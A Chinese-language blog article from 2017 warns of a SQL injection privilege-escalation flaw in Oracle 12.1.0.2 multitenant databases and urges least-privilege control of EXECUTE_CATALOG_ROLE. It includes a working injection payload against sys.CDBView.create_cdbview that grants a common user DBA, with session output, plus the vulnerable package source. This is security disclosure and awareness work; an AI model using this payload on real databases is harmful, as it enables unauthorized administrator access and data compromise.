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Oracle 12c 多租户的SQL注入高危风险防范
发布时间:2017-12-19 发布人:盖国强 1268

用Oracle多租户选件时,由于Container容器和PDB融合共存,则权限控制必将更加重要,在之前的文章中我们提到,Oracle 12.2 的 lockdown profile就是为了实现PDB中更为全面的权限控制。


我们在2016年『比特币事件』中,总结了:数据安全的十六大军规,其中有一条也明确提到最小权限守则,而且要真正实现权限管理。


SQL注入攻击的风险


我们来看看如果权限控制不当,可能遭遇到的数据库安全风险。根据最近披露的风险之一,通过SQL注入可能影响数据库的安全,以下问题影响到多租户的12.1.0.2.0最新版本


假如我们在CDB中拥有一个普通用户,因为某种原因它申请和被授予了EXECUTE_CATALOG_ROLE的角色:

SQL> connect / as sysdba

Connected.

SQL> create user c##eygle identified by eygle;

User created.

SQL> grant execute_catalog_role,create session to c##eygle;

Grant succeeded.


SQL> select granted_role from user_role_privs;

GRANTED_ROLE

---------------------------------------------

EXECUTE_CATALOG_ROLE


我们看看这一角色可能由此深入所做出的尝试,经常讨论的SQL注入也就在这个知识范畴之中。


当以下一个系列的SQL被执行之后,一个普通用户获得了DBA的权限,如果这是在一个多租户的环境中,这个提权将是非常危险的:


SQL> connect c##eygle/eygle

Connected.

SQL> select granted_role from user_role_privs;

GRANTED_ROLE

-----------------------------------------------------

EXECUTE_CATALOG_ROLE


SQL> exec sys.CDBView.create_cdbview(true,'ALL_POLICIES" as select /*+WITH_PLSQL*/ x from (WITH FUNCTION f RETURN varchar2 IS PRAGMA AUTONOMOUS_TRANSACTION;BEGIN /* ','yh_view' ,' */ execute immediate ''grant dba to c##eygle''; RETURN ''1'';END; SELECT f as x FROM dual)-- ');

*

ERROR at line 1:

ORA-00905: missing keyword

ORA-06512: at "SYS.CDBVIEW", line 58

ORA-06512: at line 1


SQL> select  /*+WITH_PLSQL*/ * from ALL_POLICIES;

X

-------

1


SQL> select granted_role from user_role_privs;

GRANTED_ROLE

----------------------------

DBA

EXECUTE_CATALOG_ROLE



SQL> select banner from v$version;

BANNER

----------------------------------------------------------------------------------------

Oracle Database 12c Enterprise Edition Release 12.1.0.2.0 - 64bit Production

PL/SQL Release 12.1.0.2.0 - Production

CORE 12.1.0.2.0 Production

TNS for Linux: Version 12.1.0.2.0 - Production

NLSRTL Version 12.1.0.2.0 - Production


当然作为资深的DBA来说,我们应当知道EXECUTE_CATALOG_ROLE这一角色权限是非常危险的,要严格控制这一权限的授予。这一注入,实际上是利用了 CDBView 包的校验漏洞,进行了注入提权。


包 sys.CDBView 的主要内容如下(在安装脚本中是明文的),风险来自于脚本内部的校验缺失:

create or replace package sys.CDBView as 

  ----------------------------

  --  PROCEDURES AND FUNCTIONS

 --

procedure create_cdbview(chk_upgrd IN boolean, owner IN varchar2,

oldview_name IN varchar2, newview_name IN varchar2);

end CDBView;

/


grant execute on sys.CDBView to execute_catalog_role

/


create or replace package body sys.CDBView is

-- Create the cdb view

-- private helper procedure to create the cdb view

-- Note that quotes should not be added around owner, oldview_name and 

-- newview_name before create_cdbview is invoked since all three are used 

-- as literals to query dictionary views.

procedure create_cdbview(chk_upgrd IN boolean, owner IN varchar2,

oldview_name IN varchar2, newview_name IN varchar2) as

sqlstmt            varchar2(4000);

col_name        varchar2(128);

comments       varchar2(4000);

col_type            number;

upper_owner    varchar2(128);

upper_oldview  varchar2(128);

quoted_owner   varchar2(130); -- 2 more than size of owner

quoted_oldview varchar2(130); -- 2 more than size of oldview_name

quoted_newview varchar2(130); -- 2 more than size of newview_name


cursor tblcommentscur is select c.comment$

from sys.obj$ o, sys.user$ u, sys.com$ c

where o.name = upper_oldview and u.name = upper_owner

and o.obj# = c.obj# and o.owner#=u.user# and o.type# = 4

and c.col# is null;


cursor colcommentscur is select c.name, co.comment$, c.type#

from sys.obj$ o, sys.col$ c, sys.user$ u, sys.com$ co

where o.name = upper_oldview and u.name = upper_owner

and o.owner# = u.user# and o.type# = 4 and o.obj# = c.obj#

and c.obj# = co.obj# and c.intcol# = co.col#

and bitand(c.property, 32) = 0;


begin


-- convert owner and view names to upper case

upper_owner    := upper(owner);

upper_oldview  := upper(oldview_name);


quoted_owner   := '"' || upper_owner         || '"';

quoted_oldview := '"' || upper_oldview       || '"';

quoted_newview := '"' || upper(newview_name) || '"';


-- create cdb view

sqlstmt := 'CREATE OR REPLACE VIEW ' || 

quoted_owner || '.' || quoted_newview || 

' CONTAINER_DATA AS SELECT * FROM CONTAINERS(' ||

quoted_owner || '.' || quoted_oldview || ')';


--dbms_output.put_line(sqlstmt);

execute immediate sqlstmt;

......

end if;

end loop;

close colcommentscur;

end;


end CDBView;

/

show errors;

/


安全风险无处不在,提高安全意识刻不容缓。


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